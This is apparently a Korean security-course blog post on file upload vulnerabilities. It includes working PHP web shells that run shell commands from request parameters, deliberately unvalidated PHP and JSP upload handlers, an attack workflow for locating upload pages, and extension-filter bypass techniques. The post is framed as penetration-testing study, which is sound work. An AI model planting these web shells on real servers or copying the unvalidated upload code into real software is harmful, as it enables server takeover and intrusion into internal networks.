μƒˆμ†Œμ‹

인기 검색어

πŸ“  Secure

파일 μ—…λ‘œλ“œ 취약점

  • -
λ°˜μ‘ν˜•
파일 λ‹€μš΄λ‘œλ“œ 취약점

정상적인 νŒŒμΌμ„ λ‹€μš΄λ°›λŠ”κ²Œ μ•„λ‹Œ 비정상적인 νŒŒμΌμ„ λ‹€μš΄λ°›λŠ”κ²ƒ

정상 vs 비정상

 

파일 μ—…λ‘œλ“œ 취약점

정상적인 νŒŒμΌμ„ μ—…λ‘œλ“œ ν•˜λŠ”κ²Œ μ•„λ‹ˆλΌ 비정상적인 νŒŒμΌμ„ μ—…λ‘œλ“œλ₯Ό ν•΄μ„œ λ„€νŠΈμ›Œν¬ 및 μ„œλ²„ 전체λ₯Ό μž₯μ•…

 

Web Shell이냐 μ•„λ‹ˆλƒ ?

WAF / Web Shell Moniteringμ΄λΌλŠ” μ›Ή μ…€ μ „μš© 방화벽에 탐지

μ–΄λŠμ •λ„ 파일 μ—…λ‘œλ“œ 취약점은 ν•œκ³„μ μ΄ 보인닀

 

μ›Ή νŽ˜μ΄μ§€λ₯Ό 톡해 μ‰˜ λͺ…λ Ήμ–΄λ₯Ό μˆ˜ν–‰ν•  수 μžˆλŠ” 도ꡬ

PHP,JSP > Server Side Script μ–Έμ–΄λ‘œ μž‘μ„±

 

1차적으둜 DB정보 νšλ“, λ‚΄λΆ€μ‹œμŠ€ν…œ, λ„€νŠΈμ›Œν¬μ— λŒ€ν•œ 정보도 νšλ“

2차적으둜 내뢀망 μΉ¨μž…

3차적으둜 μ˜€ν”ΌμŠ€λ§κΉŒμ§€ μΉ¨μž… κ°€λŠ₯성이 있음

 

0μˆœμœ„λ‘œ 점검을 ν•΄λ³΄λŠ” 것이 파일 λ‹€μš΄λ‘œλ“œ 취약점

1μˆœμœ„ 점검을 ν•΄λ³΄λŠ” 것이 파일 μ—…λ‘œλ“œ 취약점

2μˆœμœ„κ°€ SQL Injection

 

곡격 원리   

1. 파일 λ‹€μš΄λ‘œλ“œ 취약점을 ν†΅ν•΄μ„œ μ •ν™•νžˆ μ—…λ‘œλ“œ λ˜λŠ” 경둜λ₯Ό 탐색

2. 비정상적인 파일(Web Shell)을 μ—…λ‘œλ“œλ₯Ό ν•œλ‹€.

3. 파일 λ‹€μš΄λ‘œλ“œ 취약점을 ν†΅ν•΄μ„œ 찾은 κ²½λ‘œμ™€ μ—…λ‘œλ“œν•œ μ›Ή 셀을 μ‘°ν•©ν•˜μ—¬ μ‹€ν–‰ν•œλ‹€.

4. μ ‘κ·Ό κΆŒν•œμ„ λ†’μ΄κ±°λ‚˜ λ‹€μ–‘ν•œ 곡격을 μ‹€ν–‰ν•œλ‹€.

 

μ›Ή μ–΄ν”Œλ¦¬μΌ€μ΄μ…˜(μ—…λ‘œλ“œκΈ°λŠ₯)을 μ‚¬μš©ν•΄μ„œ μ—…λ‘œλ“œ 취약점 이용

점점 웹에 λŒ€ν•œ κΈ°λŠ₯ μ–‘λ°©ν–₯ μ†Œν†΅μ΄ λ˜μ„œ 거의 λŒ€λΆ€λΆ„μ˜ 웹듀은 μ—…λ‘œλ“œ κΈ°λŠ₯ ν•„μˆ˜ 

μ—…λ‘œλ“œ κΈ°λŠ₯κ³Ό λ‹€μš΄λ‘œλ“œ κΈ°λŠ₯이 ν•¨κ»˜ μ‘΄μž¬ν•œλ‹€

λ‹€λ§Œ μ˜ˆμ™Έμ μœΌλ‘œ 이미지 μ œμ™Έ ( URL μ£Όμ†Œλ₯Ό μ˜¬λ¦¬λŠ” κ±°κΈ° λ•Œλ¬Έμ— λ‹€μš΄λ‘œλ“œ κΈ°λŠ₯이 없을 수 μžˆλ‹€ )

λ‹€μš΄λ‘œλ“œ / μ—…λ‘œλ“œ κΈ°λŠ₯을 ν•˜λŠ” νŽ˜μ΄μ§€λ“€μ€ 크게 2κ°€μ§€λ‘œ ꡬ뢄

ν™”λ©΄λ§Œ λ³΄μ—¬μ£ΌλŠ” 폼 νŽ˜μ΄μ§€ / μ‹€μ œμ μœΌλ‘œ κΈ°λŠ₯을 ν•˜λŠ” κΈ°λŠ₯ νŽ˜μ΄μ§€

 

μ›Ή μ…Έ 같은 경우 μ‹œμŠ€ν…œ ν•¨μˆ˜

μ‹œμŠ€ν…œ ν•¨μˆ˜λŠ” μ›Ή 개발자의 편의λ₯Ό μœ„ν•΄μ„œ μ‚¬μš©λ˜λŠ” κΈ°λŠ₯ > 아직도 잘 μ‚¬μš©λ˜κ³  있음

 

μ—…λ‘œλ“œ 곡격을 ν•  λ•Œ 주의 사항

1. λ°”λ‘œ μ›Ή 셀을 μ—…λ‘œλ“œ ν•˜μ§€ 말고 μ„ ν–‰ 파일둜 ν…ŒμŠ€νŠΈλ₯Ό 진행 해라

# μ˜ˆμ‹œ
<?
	echo "test";
?>

2. μœ μΆ”ν•˜κΈ° μ–΄λ €μš΄ μ›Ή μ…€ 파일λͺ…을 μ‚¬μš©ν•΄λΌ

3. μ ‘κ·Ό μ œμ–΄ 섀정을 λ°˜λ“œμ‹œ 섀정해라

4. κ²€μ¦λœ μ•ˆμ „ν•œ 웹셀을 μ‚¬μš©ν•΄λΌ

5. λ°˜λ“œμ‹œ 진단을 λ§ˆμΉœλ‹€λ©΄ κΌ­ μ‚¬μš©ν–ˆλ˜ 웹셀을 μ‚­μ œν•΄λΌ

 

μ—…λ‘œλ“œ ν™˜κ²½ ꡬ좕
<?php
//form page

    header("Content-Type: text/html; charset=UTF-8");
?>
<form action="upload.php" method="POST" enctype="multipart/form-data">
    <input type="file" name="userfile">
    <input type="submit" value="Upload">
</form>
<?php
//action page

    header("Content-Type: text/html; charset=UTF-8");

    if(empty($_FILES["userfile"]["name"])){
        echo "<script>alert('νŒŒμΌμ„ μ—…λ‘œλ“œ ν•˜μ„Έμš”'); history.back(-1)</script>";
        exit();
    }

    $path = "./upload/";
    $filename = $_FILES["userfile"]["name"];

    if(!move_uploaded_file($_FILES["userfile"]["tmp_name"],$path.$filename)){
        echo "<script>alert('파일 μ—…λ‘œλ“œμ— μ‹€νŒ¨ν•˜μ˜€μŠ΅λ‹ˆλ‹€.'); history.back(-1)</script>";
        exit();
    }
?>
<li>μ—…λ‘œλ“œ μ„±κ³΅ν–ˆμŠ΅λ‹ˆλ‹€ . μ—…λ‘œλ“œ κ²½λ‘œλŠ” <?=$path.$filename?></li>

-- 라이브러리

cos.jar : μ˜›λ‚  Spring

commons-fileupload.jar : ν˜„μž¬ μ‚¬μš©μ€‘μΈ Spring

 

# index.jsp
<%@ page language="java" contentType="text/html charset=UTF-8" %>
<form action="upload.jsp" method="POST" enctype="multipart/form-data">
    <input type="file" name="Userfile">
    <input type="submit" value="Upload">
</form>

# upload.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" %>
<%@ page import="com.oreilly.servlet.MultipartRequest"%>

<%
    String path = request.getRealPath("upload_vuln/upload");
    MultipartRequest multi = new MultipartRequest(request, path, 1024*10, "UTF-8");
    String filename = path + "/" + multi.getFilesystemName("userfile");
%>

<li> μ—…λ‘œλ“œλ₯Ό μ„±κ³΅ν–ˆμŠ΅λ‹ˆλ‹€ μ—…λ‘œλ“œ κ²½λ‘œλŠ” : <%=filename%></li>

파일 μ—…λ‘œλ“œ
μ—…λ‘œλ“œ ν›„ μ‚¬μ΄νŠΈ 접속
μ„ ν–‰ 파일둜 ν…ŒμŠ€νŠΈ 진행

 

web shell λ§Œλ“€κΈ°
<?php
    $cmd = $_GET["cmd"];
    $result = shell_exec($cmd);
    $result = str_replace("\n","<br>",$result);
    echo $result;
?>

cmd.php?cmd=ipconfig κΉŒμ§€ μ£Όμ†Œμ— μ³μ€˜μ•Όν•œλ‹€

<?php
    $page = $_SERVER["PHP_SELF"];
    $cmd = $_POST["cmd"];
    $result = shell_exec($cmd);
    $result = str_replace("\n","<br>",$result);
?>

<form action="<?=$page?>" method="POST">
    <input type="text" name="cmd">
    <input type="submit" value="execute">
</form>

<?=$result?>

cmd 처럼 μ‚¬μš© κ°€λŠ₯ν•˜λ‹€
4584&nbsp; task 끄기

# ν•΄λ‹Ή κ²°κ³Ό κΎΈλ―ΈκΈ°
<?php
    $page = $_SERVER["PHP_SELF"];
    $cmd = $_POST["cmd"];
    if(!empty($cmd)){
    $result = shell_exec($cmd);
    $result = str_replace("\n","<br>",$result);
    }
?>

<form action="<?=$page?>" method="POST">
    <input type="text" name="cmd">
    <input type="submit" value="execute">
</form>
<table style="border:1px solid black; background-color:black">
<tr>
<td style="color: white; font-size: 12px"><?=$result?></td>
</tr>
</table>

κ²€μ • 배경에 흰 κΈ€μ”¨λ‘œ μ„€μ •

 

μ ‘κ·Ό μ œμ–΄

 

<?php
    @session_start();
    $password = "kitri1234!";
    
    $input_password = $_POST["password"];
    $page = $_SERVER["PHP_SELF"];
    $cmd = $_POST["cmd"];
    
	# 인증 κΈ°λŠ₯ μΆ”κ°€
    if(empty($_SESSION["webshell_id"]) && empty($input_password)){
        ?>
        <form action="<?=$page?>" method="POST">
            <input type="text" name="password">
            <input type="submit" value="AUTH">
        </form>
        <?php
        exit();
    }else if(empty($_SESSION["webshell_id"]) && !empty($input_password)){
        if($password == $input_password){
            $_SESSION["webshell_id"] = "kitri";
            echo "<script>location.reload(true)</script>";
            exiT();
        }else{
            echo"<script>location.reload(true);</script>";
            exit();
        }
    }

    if(!empty($cmd)){
    $result = shell_exec($cmd);
    $result = str_replace("\n","<br>",$result);
    }
?>

<form action="<?=$page?>" method="POST">
    <input type="text" name="cmd">
    <input type="submit" value="execute">
</form>
<table style="border:1px solid black; background-color:black">
<tr>
<td style="color: white; font-size: 12px"><?=$result?></td>
</tr>
</table>

 

파일 μ—…λ‘œλ“œ 곡격 ν”„λ‘œμ„ΈμŠ€

1. 곡격 λŒ€μƒ 탐색

2. ν™˜κ²½ 뢄석

3. κΈ°λ³Έ 둜직 뢄석

Y -> 곡격에 성곡

N -> 심화 둜직 뢄석

4. 심화 둜직 뢄석

Y -> 곡격에 성곡

N -> μ‹€νŒ¨

 

 

1. 곡격 λŒ€μƒ 탐색

정상적인 μ ‘κ·Ό 방법

κ²Œμ‹œνŒ/이λ ₯μ„œ/이미지 μ—…λ‘œλ“œ/λ™μ˜μƒ μ—…λ‘œλ“œ

μ—…λ‘œλ“œ 폼 νŽ˜μ΄μ§€λ₯Ό λ”°λΌμ„œ μ—…λ‘œλ“œ κΈ°λŠ₯ νŽ˜μ΄μ§€λ₯Ό μ°ΎλŠ” 방법

 

2. 비정상적인 μ ‘κ·Ό 방법

** 1) μ›Ή νŽ˜μ΄μ§€ λ‚΄ μ—…λ‘œλ“œ κ΄€λ ¨ μ½”λ“œ μ°ΎκΈ°

λΈ”λž™λ°•μŠ€ λͺ¨μ˜ ν•΄ν‚Ή 자주 μ‚¬μš©

μžλ°”μŠ€ν¬λ¦½νŠΈμ˜ μ‚¬μš©μ΄ λŠ˜μ–΄λ‚˜λ©΄μ„œ μ€‘μš” 정보듀이 λ“€μ–΄κ°€ μžˆλŠ” 경우λ₯Ό λ³Ό 수 μžˆλ‹€

 

** 2) 파일 λ‹€μš΄λ‘œλ“œ 취약점을 ν†΅ν•œ μ ‘κ·Ό

파일 λ‹€μš΄λ‘œλ“œ 취약점을 ν†΅ν•΄μ„œ μ†ŒμŠ€μ½”λ“œ 및 정보듀을 μˆ˜μ§‘ν•œ λ‹€μŒ μ—…λ‘œλ“œ κΈ°λŠ₯을 ν•˜λŠ” νŽ˜μ΄μ§€λ₯Ό μ°ΎλŠ”λ‹€

 

3) WAS κ΄€λ¦¬μž μ½˜μ†” 및 κ΄€λ¦¬μž νŽ˜μ΄μ§€ μ ‘κ·Ό

www.test.co.kr/manager
www.test.co.kr/admin
www.test.co.kr/owner

 

4) μ ‘κ·Ό κΆŒν•œμ΄ μ—†λŠ” μ—…λ‘œλ“œμ˜ 폼 νŽ˜μ΄μ§€ μ ‘κ·Ό

곡지사항은 κΆŒν•œμ„ 가진 μ‚¬λžŒλ§Œ κΈ€ μž‘μ„±μ΄ κ°€λŠ₯

κΈ€ μž‘μ„±μ„ μœ„ν•œ 이미지 μ—…λ‘œλ“œ/λ™μ˜μƒ μ—…λ‘œλ“œ κΈ°λŠ₯ 포함 λΌμžˆμ„ κ°€λŠ₯성이 λ†’μŒ

κΈ°λŠ₯ νŽ˜μ΄μ§€λ₯Ό λ³΄λŠ”κ²ƒλ„ 비정상적인 방법 쀑 ν•˜λ‚˜

 

5) ꡬ글 검색을 ν†΅ν•œ μ—…λ‘œλ“œ νŽ˜μ΄μ§€ μ ‘κ·Ό

6) μœ μΆ”λ₯Ό ν†΅ν•œ μ ‘κ·Ό

- boardList.do

- boardWrite.do

- boardAction.do

- boardCreate.do

- boardRegster.do

- boardReg.do

 

2. ν™˜κ²½ 뢄석

운영체제 뢄석

μœˆλ„μš° vs λ¦¬λˆ…μŠ€/μœ λ‹‰μŠ€ > λŒ€μ†Œλ¬Έμž μ‚¬μš© 유무

μœˆλ„μš° : μ£Όμ†Œμ°½μ—μ„œ λŒ€λ¬Έμžλ‘œ 변경을 해도 λ¬Έμ œκ°€ μ—†λ‹€

λ¦¬λˆ…μŠ€/μœ λ‹‰μŠ€ : μ£Όμ†Œμ°½μ—μ„œ λŒ€λ¬Έμžλ‘œ λ³€κ²½ μ‹œ μ—λŸ¬κ°€ λ°œμƒ

 

μ‚¬μš© μ–Έμ–΄ 뢄석

- ν™•μž₯자 : .php .jsp .asp .do

- 응닡 헀더 : Microsoft-IIS 버전 / APACHE 버전

- μ—λŸ¬ νŽ˜μ΄μ§€ : APACHE μ„œλ²„ μ—λŸ¬ , Tomcat μ—λŸ¬νŽ˜μ΄μ§€ , WebSphere μ—λŸ¬νŽ˜μ΄μ§€

 

κΈ°λ³Έ 둜직 뢄석

- μ—…λ‘œλ“œ μ‹œλ„

> κ²½λ‘œκ°€ νŒŒμ•…μ΄ λ˜λŠ”κ°€ ? : Y/N

> 검증 둜직이 μ‘΄μž¬ν•˜λŠ”κ°€ ? : Y/N

 

성곡 κΈ°μ€€

κ²½λ‘œκ°€ νŒŒμ•…μ΄ 되고 Y 검증 둜직이 μ‘΄μž¬ν•˜μ§€ μ•Šμ„ λ•Œ N

 

μ‹€νŒ¨ κΈ°μ€€

κ²½λ‘œκ°€ νŒŒμ•…μ΄ 되고 Y 검증 λ‘œμ§λ„ 쑴재 Y

κ²½λ‘œκ°€ νŒŒμ•…μ΄ μ•ˆλ˜κ³  N 검증 둜직이 쑴재 Y

κ²½λ‘œλ„ νŒŒμ•…μ΄ μ•ˆλ˜κ³  N 검증 λ‘œμ§λ„ μ‘΄μž¬ν•˜μ§€ μ•ŠλŠ”λ‹€N

 

μ‹€νŒ¨ ν•  경우 λ°”λ‘œ 심화 둜직 λΆ„μ„μœΌλ‘œ 이동

 

μ—…λ‘œλ“œ μ‹œ 파일 μ—…λ‘œλ“œ μˆœμ„œ

1. 정상적인 νŒŒμΌλ“€μ„ μ—…λ‘œλ“œλ₯Ό ν•΄λ³Έλ‹€ ( jpg, txt, hwp, gif, mp4 ) - ν—ˆμš©, νŠΉμ • 쑰건에 μ˜ν•΄μ„œ ν—ˆμš©λ˜μ§€ μ•ŠλŠ” 경우

2. ν…ŒμŠ€νŠΈ 파일 - testλ₯Ό 좜λ ₯ν•  수 μžˆλŠ” κΈ°λŠ₯ νŽ˜μ΄μ§€λ₯Ό κ΅¬ν˜„

- ν…ŒμŠ€νŠΈ 파일이 μ •μƒμ μœΌλ‘œ 좜λ ₯이 될 경우 μ›Ή 셀을 μ—…λ‘œλ“œ ν•œλ‹€

# μ˜ˆμ‹œ
# php κΈ°μ€€
<?
	echo "test";
?>

# jsp κΈ°μ€€
<%
	out.println("test");
%>

# asp κΈ°μ€€
<%
	Response.Write("test");
%>

 

κΈ°λ³Έ 둜직 λΆ„μ„μ—μ„œ μ‹€νŒ¨ ν•  경우 심화 둜직 ν”„λ‘œμ„ΈμŠ€ ( κ²€μ¦λ‘œμ§ O , 경둜 νŒŒμ•… X )

1-1. 검증 둜직의 νŒŒμ•… ( Y or N )

2-1. 검증 둜직이 μ‘΄μž¬ν•  경우 검증 둜직의 νŒŒμ•…

3-1. 우회 기법 적용

4-1. μš°νšŒκ°€ μ•ˆλ  경우 끝

 

1-2. μš°νšŒκ°€ μ„±κ³΅ν–ˆμ„ 경우

2-2. μ—…λ‘œλ“œ 경둜λ₯Ό νŒŒμ•…

3-2. μ—…λ‘œλ“œ 경둜λ₯Ό λ³€μ‘°

4-2. μ—…λ‘œλ“œ 경둜 λ³€μ‘°κ°€ μ•ˆλ  경우 끝

 

κ²€μ¦λ‘œμ§μ˜ μœ ν˜•

1. ν™•μž₯자 검증

방식 μž₯점 단점 κΈ°λŠ₯
λΈ”λž™ 리슀트 λ‹€μ–‘ν•œ μ’…λ₯˜ 파일 μ—…λ‘œλ“œ κ°€λŠ₯ λ‹€μ–‘ν•œ 우회 기법 쑴재 κ²Œμ‹œνŒ, 메일
ν™”μ΄νŠΈ 리슀트 우회 κ°€λŠ₯성이 크게 μ œν•œ μ—…λ‘œλ“œμ— μ œν•œ 이λ ₯μ„œ 사진

 

2. 이미지 검증

ContentType = "text/html"

 

3. 파일 μ‚¬μ΄μ¦ˆ 검증

4Mbyte μ΄ν•˜λ‘œ μ—…λ‘œλ“œ ν•˜μ„Έμš”

 

Webshell.jsp 파일 μ—…λ‘œλ“œ ν–ˆμ„ λ•Œ

1. ν™•μž₯자λ₯Ό νŒŒμ‹±

pythonμ—μ„œ :4(λ’€μ—μ„œ 4κΈ€μžλ§Œ νŒŒμ‹±) > .png .jpg .txt > ν™•μž₯자 검증을 μ‹€μ‹œν•΄μ„œ 룰의 κ·Όκ±°ν•˜μ—¬ ν—ˆμš© 및 차단

( λΈ”λž™λ¦¬μŠ€νŠΈ , ν™”μ΄νŠΈλ¦¬μŠ€νŠΈ )

 

 

ν™•μž₯자 검증 둜직 우회 기법

1. κ²€μ¦λ˜μ§€ μ•ŠλŠ” ν™•μž₯자 μ‚¬μš©

2. ν™•μž₯자 검증 둜직 섀계 였λ₯˜μ— μ˜ν•œ λ³΄μ•ˆ 결함 μ•…μš©

3. Null byte μ‚¬μš©

4. WAS 취약점 이용

 

μ–Έμ–΄ ꡬ성 방식

JAVA : jsp, jspx, jspf, jsc, jsw, do ...

ASP : asp, asa, cer, cdx ...

ASPX : aspx, asax, asmx, soap ...

PHP : php, php3, php4, php5, html, phtml ...

 

λΈ”λž™λ¦¬μŠ€νŠΈ 기법

<?php
//action page

    header("Content-Type: text/html; charset=UTF-8");

    if(empty($_FILES["userfile"]["name"])){
        echo "<script>alert('νŒŒμΌμ„ μ—…λ‘œλ“œ ν•˜μ„Έμš”'); history.back(-1)</script>";
        exit();
    }

    $path = "./upload/";
    $filename = $_FILES["userfile"]["name"];

    // 검증 둜직
    $file_info = pathinfo($path.$filename);
    // upload_vuln/upload/test.php
    $ext = strtolower($file_info["extension"]); //파일 ν™•μž₯자λ₯Ό μ „λΆ€ μ†Œλ¬Έμžλ‘œ λ³€κ²½
    // upload_vuln  upload  test.php
    $ext_arr = array("php","php3","php4","html","htm");

    if(in_array($ext, $ext_arr)){
        echo "<script>alert('ν—ˆμš©λ˜μ§€ μ•Šμ€ ν™•μž₯자 μž…λ‹ˆλ‹€'); history.back(-1); </script>";
        exit();
    }

    if(!move_uploaded_file($_FILES["userfile"]["tmp_name"],$path.$filename)){
        echo "<script>alert('파일 μ—…λ‘œλ“œμ— μ‹€νŒ¨ν•˜μ˜€μŠ΅λ‹ˆλ‹€.'); history.back(-1)</script>";
        exit();
    }
?>
<li>μ—…λ‘œλ“œ μ„±κ³΅ν–ˆμŠ΅λ‹ˆλ‹€ . μ—…λ‘œλ“œ κ²½λ‘œλŠ” <?=$path.$filename?></li>

검증 둜직 ν™•μž₯자 확인

 

ν™”μ΄νŠΈ 리슀트 기법

<?php
//action page

    header("Content-Type: text/html; charset=UTF-8");

    if(empty($_FILES["userfile"]["name"])){
        echo "<script>alert('νŒŒμΌμ„ μ—…λ‘œλ“œ ν•˜μ„Έμš”'); history.back(-1)</script>";
        exit();
    }

    $path = "./upload/";
    $filename = $_FILES["userfile"]["name"];

    // 검증 둜직
    $file_info = pathinfo($path.$filename);
    // upload_vuln/upload/test.php
    $ext = strtolower($file_info["extension"]); //파일 ν™•μž₯자λ₯Ό μ „λΆ€ μ†Œλ¬Έμžλ‘œ λ³€κ²½
    // upload_vuln  upload  test.php
    
    // ν—ˆμš© ν•  ν™•μž₯자 μ„€μ •
    $ext_arr = array("txt","jpg","gif","jpeg");

	// λ§Œμ•½ ext와 extarr에 λ“€μ–΄μžˆμ§€ μ•Šμ€ ν™•μž₯자라면
    if(!in_array($ext, $ext_arr)){
        echo "<script>alert('ν—ˆμš©λ˜μ§€ μ•Šμ€ ν™•μž₯자 μž…λ‹ˆλ‹€'); history.back(-1); </script>";
        exit();
    }

    if(!move_uploaded_file($_FILES["userfile"]["tmp_name"],$path.$filename)){
        echo "<script>alert('파일 μ—…λ‘œλ“œμ— μ‹€νŒ¨ν•˜μ˜€μŠ΅λ‹ˆλ‹€.'); history.back(-1)</script>";
        exit();
    }
?>
<li>μ—…λ‘œλ“œ μ„±κ³΅ν–ˆμŠ΅λ‹ˆλ‹€ . μ—…λ‘œλ“œ κ²½λ‘œλŠ” <?=$path.$filename?></li>

 

λ°˜μ‘ν˜•
Contents

ν¬μŠ€νŒ… μ£Όμ†Œλ₯Ό λ³΅μ‚¬ν–ˆμŠ΅λ‹ˆλ‹€

이 글이 도움이 λ˜μ—ˆλ‹€λ©΄ 곡감 λΆ€νƒλ“œλ¦½λ‹ˆλ‹€.